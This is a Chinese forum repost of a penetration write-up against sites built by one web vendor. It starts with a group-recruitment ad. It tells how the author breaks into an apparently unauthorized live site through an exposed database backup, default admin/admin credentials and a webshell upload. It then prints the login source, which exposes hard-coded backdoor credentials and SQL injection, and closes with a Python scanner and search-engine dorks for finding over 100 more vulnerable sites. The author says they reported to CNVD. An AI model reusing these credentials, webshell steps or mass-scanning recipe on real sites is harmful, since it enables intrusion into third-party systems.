安全矩阵

 找回密码
 立即注册
搜索
查看: 2259|回复: 0

某厂商0day三杀+顺手一个CNVD高危通用漏洞

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 15:33:00 | 显示全部楼层 |阅读模式
原文链接:某厂商0day三杀+顺手一个CNVD高危通用漏洞
  1. #前言:
  2. 1.为了方便大家日后更好的学习安全,
  3. 小编为此专门建立了一个氛围良好的学习圈子。
  4. 在这个圈子里,大家可以尽情地讨论安全方面的知识,不会的问题也可以在群里求助大佬
  5. 同时,本人也经常会在群里免费限时分享我们VIP内部学习资源哦~
  6. 如何加群:添加小编微信 hdm838683 即可
  7. PS:进群后切记不可退群!退群者终身无法再次加入!特此通知!

  8. 2.VIP公开课免费资源
  9. 因为VIP课程上线不久后,很多粉丝都想试听,
  10. 但是天时不如地利,地利不如人和呀,辣鸡网盘就是不给力,一分享就挂!
  11. 所以本人打算将公开课资源分成8个小部分给大家学习,
  12. 目前总大小250G 左右,都是优质资源,够你白嫖了吧
  13. 领取方法:后台回复关键词“大佬您好”即可获得!
复制代码

一:初步渗透
目标怎么找到的就不说了 差不多就是上班的时候摸鱼摸到的
直接进入正题
先打开御剑,首先先对目标进行目录扫描


整理一下可能有用的目录:
/db_dwpx.sql
/web_manage
/LookForPassword.aspx
第一个貌似是个数据库备份文件,访问下:

看到自动下载了一个.sql文件
像这种文件打开方式有两种,第一种是把.sql后缀改成.txt,第二种是直接在本地用编辑器工具打开,我们这里用第二种,用Notepad++打开(其它也都一样)
果然 是数据库备份文件

可以从中看到用phpmyadmin集成环境,php版本等信息
但我们前面扫目录没有扫到phpmyadmin登录界面,估计也是进行了修改
下面来查找一些有用的信息
这里教大家一个小技巧 在大多数编辑器中 用Ctrl+F快捷键就可以查找你想要的东西
我们先查找admin字符

发现其中一句sql语句
INSERT INTO `dy_manager` (`id`, `username`,`password`, `realname`, `bigmymenu`, `smallmymenu`, `login_num`, `isstate`,`sendtime`) VALUES
(1, 'admin','21232f297a57a5a743894a0e4a801fc3', '超级管理员', 'super','super', 278, 1, '1401328990');
应该是用来插入管理员账号密码用的
账号是admin 明文
密码用的是MD5加密 去cmd5上看看

好家伙密码也是admin 早知道直接暴力破解了。。。
现在去看看刚才的后台登录界面

出于刚才的不甘心 打一发万能密码试试

貌似不行 而且还有登录错误锁定 幸好没暴力破解不然后面麻烦了要
那就直接双admin进后台

在后台发现一个地方可以修改上参数 权限挺大 尝试添加php后缀 成功

找到一个编辑器 可以上传文件 先试试
用的这个编辑器用myeditor
似乎没找到啥漏洞可以用用
就先尝试文件上传getshell

Burp抓包

这里直接搞了个大马
发送到Repeater

点击Go 但发现前面返回了一个Error似乎是报错
不过后面返回了一个路径值 猜测该是php文件路径
合成出文件路径:
http://www.XXXX.com/uploadfile/u ... 017224330_34570.php
访问之

不出我所料
成功上传大马 尝试一下里面的功能,执行phpinfo

Nice

看到这里大家可能会觉得和CNVD高危通用漏洞有毛关系
别急呀,后面的操作才叫一个奇幻
二:源码分析,漏洞挖掘
上传大马之后 个人感觉这个大马不太顺手 先换个免杀大马

然后进入网站根目录 看看大致的结构啥的 熟悉一下

粗略一看应该是个通用型的网站架构 是技术厂商私活定制的
经过一波分析 根目录结构如下:
bak:一个网站备份文件
bak2:另一个备份文件
css:前端文件,层叠式样式表
images:网站文件存储
include:网站配置文件
js:js信息存储
jxadmin:网站后台
uploadfile:网站上传的文件
其余文件都是首页文件,除了一个config.inc.php配置文件以外都没啥利用价值了
和平时一样 我们先从网站后台起步
先查看一下网站后台的结构



先从index.php起步

  1. �<?php
  2. define('IN_EKMENG',TRUE);
  3. require './360_safes.php';
  4. require './include/common.inc.php';
  5. if(isset($_POST['username']) && $_POST['username']!=''){
  6.   
  7.   //检测帐号合法�
  8.   $username=$_POST['username'];
  9.   $passwd=$_POST['password'];
  10.   
  11.   if($username=="" or $passwd==""){
  12.     JsSucce('请填写登录的用户名与密码!\\r\\n\\r\\n�'.(int)$_SESSION['login_error'].'次登陆失败,超过3次登陆失败,系统将被锁定�','index.php');
  13.     exit();
  14.   }else{
  15.       $passwd=md5($passwd);
  16.   }
  17.   if($username=='jxadmin_root' and $passwd==md5("99jxwlkj")){
  18.      $_SESSION['login_error']= 0;
  19.     $_SESSION['Admin_RealName']= "超级管理�";
  20.     $_SESSION['Admin_BigMyMenu']= "super";
  21.     $_SESSION['Admin_SmallMyMenu']= "super";
  22.     $_SESSION['Admin_SqlQx']= "update,insert,delete,review";
  23.     $_SESSION['Admin_UserName']= "Hidden";
  24.     $_SESSION['Admin_UserID']= "Hidden";
  25.     $_SESSION['is_admin']= true;  
  26.     $_SESSION['is_hidden']= true;
  27.     //header("location: admin.php");
  28.     echo "<script>location.href='admin.php'</script>";
  29.     exit();
  30.   }


  31.       
  32.    @session_start();
  33.   //验证码不正确,错误登录则返�
  34.   
  35.   $sql="select * FROM `{$tablepre}manager` where username='$username' and password='$passwd'";  
  36.    $result=$db->sql_query($sql);
  37.   if($bd=$db->sql_fetchrow($result)){
  38.      //超过登录三次,系统未审�
  39.     if((int)$_SESSION['login_error']>=3){
  40.       JsSucce('登陆系统已被系统锁定,请 '.(ini_get('session.gc_maxlifetime')/60).' 分钟后重试!','index.php');
  41.       exit();
  42.     }
  43.   
  44.     if((int)$bd['isstate']==0){
  45.       JsSucce('对不�,您的帐号已被管理员锁定!\\r\\n\\r\\n请与管理员联系已方便你的帐号正常使用�','index.php');
  46.       exit();
  47.     }
  48.   
  49.     $sql="update `{$tablepre}manager` set login_num=login_num+1 where username='$username'";
  50.     $db->sql_query($sql);
  51.    
  52.     $sql="insert into `{$tablepre}login`(username,sendtime,ip) values('$username','".$PHP_TIME."','".$PHP_IP."')";
  53.     $db->sql_query($sql);
  54.     $_SESSION['login_error']= 0;
  55.     $_SESSION['Admin_RealName']= $bd['realname'];
  56.     $_SESSION['Admin_BigMyMenu']= $bd['bigmymenu'];
  57.     $_SESSION['Admin_SmallMyMenu']= $bd['smallmymenu'];
  58.     $_SESSION['Admin_UserName']= $bd['username'];
  59.     $_SESSION['Admin_UserID']= $bd['id'];
  60.     $_SESSION['is_admin']= true;  
  61.     $_SESSION['is_hidden']= false;
  62.    
  63.     AddLog("登录管理后台",$_SESSION['Admin_UserName']);
  64.    
  65.     //header("location: admin.php");
  66.     echo "<script>location.href='admin.php'</script>";
  67.     exit();
  68.    
  69.   }else{
  70.     (int)$_SESSION['login_error']++;
  71.     JsSucce('你的帐号与密码出错或此帐号不存在!\\r\\n\\r\\n�'.(int)$_SESSION['login_error'].'次登陆失败,超过3次登陆失败,系统将被锁定�','index.php');
  72.     exit();
  73.   }
  74. }
  75. ?>
  76. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  77. <html xmlns="http://www.w3.org/1999/xhtml">
  78. <head>
  79. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  80. <title>欢迎登录后台管理系统</title>
  81. <link href="css/style.css" rel="stylesheet" type="text/css" />
  82. <script language="JavaScript" src="js/jquery.js"></script>
  83. <script src="js/cloud.js" type="text/javascript"></script>
  84. <script language="javascript">
  85.   $(function(){
  86.     $('.loginbox').css({'position':'absolute','left':($(window).width()-692)/2});
  87.   $(window).resize(function(){  
  88.     $('.loginbox').css({'position':'absolute','left':($(window).width()-692)/2});
  89.     })  
  90. });  
  91. </script>
  92. <script language="JavaScript">
  93. function checkspace(checkstr) {
  94.   var str = '';
  95.   for(i = 0; i < checkstr.length; i++) {
  96.     str = str + ' ';
  97.   }
  98.   return (str == checkstr);
  99. }
  100. function checkform(obj){
  101.   if(checkspace(obj.username.value)||obj.username.value=='用户�'){
  102.     alert("请输入登录用户名!");
  103.     obj.username.focus();
  104.     return false;
  105.   }
  106.   if(checkspace(obj.password.value)||obj.password.value=='密码'){
  107.     alert("请输入登录密�!");
  108.     obj.password.focus();
  109.     return false;
  110.   }  
  111. }
  112. </script>
  113. </head>

  114. <body style="background-color:#1c77ac; background-image:url(images/light.png); background-repeat:no-repeat; background-position:center top; overflow:hidden;">



  115.     <div id="mainBody">
  116.       <div id="cloud1" class="cloud"></div>
  117.       <div id="cloud2" class="cloud"></div>
  118.     </div>  


  119. <div class="logintop">   
  120.     <span>欢迎登录后台管理界面平台</span>   
  121.     <ul>
  122.     <li><a href="./">回首�</a></li>
  123.     <li><a href="#">帮助</a></li>
  124.     <li><a href="#">关于</a></li>
  125.     </ul>   
  126.     </div>
  127.    
  128.     <div class="loginbody">
  129.    
  130.     <span class="systemlogo"></span>
  131.       
  132.       <div class="loginbox">
  133.       <form name="login" method="post" onSubmit="return checkform(this)" action="index.php">
  134.       <ul>
  135.       <li><input name="username" type="text" class="loginuser" value="用户�" onclick="JavaScript:this.value=''"/></li>
  136.       <li><input name="password" type="password" class="loginpwd" value="密码" onclick="JavaScript:this.value=''"/></li>
  137.       <li><input name="" type="submit" class="loginbtn" value="登录" /></li>
  138.       </ul>
  139.       </form>
  140.       
  141.       </div>
  142.    
  143.     </div>
  144.    
  145.    
  146.    
  147.     <div class="loginbm"></div>
  148.   
  149.    
  150. </body>

  151. </html>
复制代码

可以看出来
首先这个脚本文件会包含几个配置文件,这不是重点,因为包含的内容不是用户可控
再接下来就会对用户输入的账号密码进行判断
判断步骤:
1.先判断是否为空,如果为空则让你重新输入
2.判断账号密码是否等于jxadmin_root和99jxwlkj,如果等于就直接让你登录
3.如果账号和密码不等于上述的内容,则会把你的账号密码和数据库中的匹配,查看是否正确,核心代码:

$sql="select * FROM `{$tablepre}manager` where username='$username' and password='$passwd'";  $result=$db->sql_query($sql);哦呦 没有过滤和预处理这种的防护 赚大了
当然这还不算什么 因为我们已经找到了它最高权限管理员的默认账号密码,也就是不需要用啥其它操作就可以直接通杀
接下来看注入漏洞能不能直接被利用:
先用burp抓包 这个不用说 然后发送到Repeater

fuzz测试一下
搞完一波 看看情况


看样子有戏 去前端再试验一下:
这里遇到一个小卡点
虽然这个万能密码可以直接进后台,但前端直接输入不行,必须用burp重换数据包,有哪位大佬知道可以后台留言一下
好吧,不是重点,重点是都能进后台了

进后台后老样子,添加后缀,上传木马,getshell
从这个后台页面可以看到
该站点是XX网络公司定制的(不方便透露)
OK 大猎物来了
三:批量找站,扩大战果
批量刷洞一般思路:
先总结有漏洞的开发商所承包的网站的一般规律,总结出来,再去搜索引擎上找,或者社工客服套话
先拉到该站点首页最底部

发现一个友情链接,多半这个XX网络就是这个网站开发商了,和我们在后台看到的也一样
于是我们可以先找一下这个开发商的官网,找到案例展示

随便打开一个

界面看起来不太一样 不过也无大碍

也可以直接进来 真不错
因为他们官网案例很多,为了一个个快速查看是否存在漏洞,小编特意写了个爬虫脚本

  1. import requests
  2. from lxml import etree
  3. for i in range(1,170):
  4.     page = requests.get("https://www.XXXX.com/vcase_"+str(i)+".html",timeout=10)
  5.     page = page.content.decode("utf-8")
  6.     html = etree.HTML(page)
  7.     href = html.xpath("//*[@id='case']/div/div[1]/div[1]/div/div/a/@href")
  8.     if href and href[0]:
  9.         try:
  10.             page2 = requests.get(url=str(href[0]),timeout=10)
  11.             print(str(href[0]))
  12.             if str(page2) == "<Response [200]>":
  13.                 print("Website Valid, testing in /web_manager dict")
  14.             else:
  15.                 print("Website not reachable")
  16.                 print(" ")
  17.                 continue
  18.             try:
  19.                 page3 = requests.get(url=str(href[0])+"web_manage",timeout=10)
  20.                 if str(page3) == '<Response [200]>':
  21.                     print("Success", page3)
  22.                     print(" ")
  23.                 else:
  24.                     print("manager dict not exist")
  25.                     print(" ")
  26.             except:
  27.                 print("manager dict not exist")
  28.                 print(" ")
  29.         except:
  30.             #continue
  31.             print("Website Error")
  32.     else:
  33.         print("case"+str(i)+": Invalid Link")
复制代码

简单明了轻轻松松,一会就有50多个站来了
当然这哪够呀,只是从官网上爬的,别忘了用搜索引擎找
根据官网案例上的站点来看,基本所有改开发商的站点首页都有“技术支持:XX网络”
所以可以直接在百度和fofa上找
百度:intext:技术支持:XX网络
fofa:body="技术支持:XX网络"
详细细节没必要展开了,最后总共有100多个站,本人也没心思一个个去交补天漏洞盒子,直接交个cnvd算了


严格来说这次挖了三个漏洞,但sql注入的那个懒得交了,反正就这点货色,都一样,咱也不是爱慕虚荣的人





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 17:04 , Processed in 0.013561 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表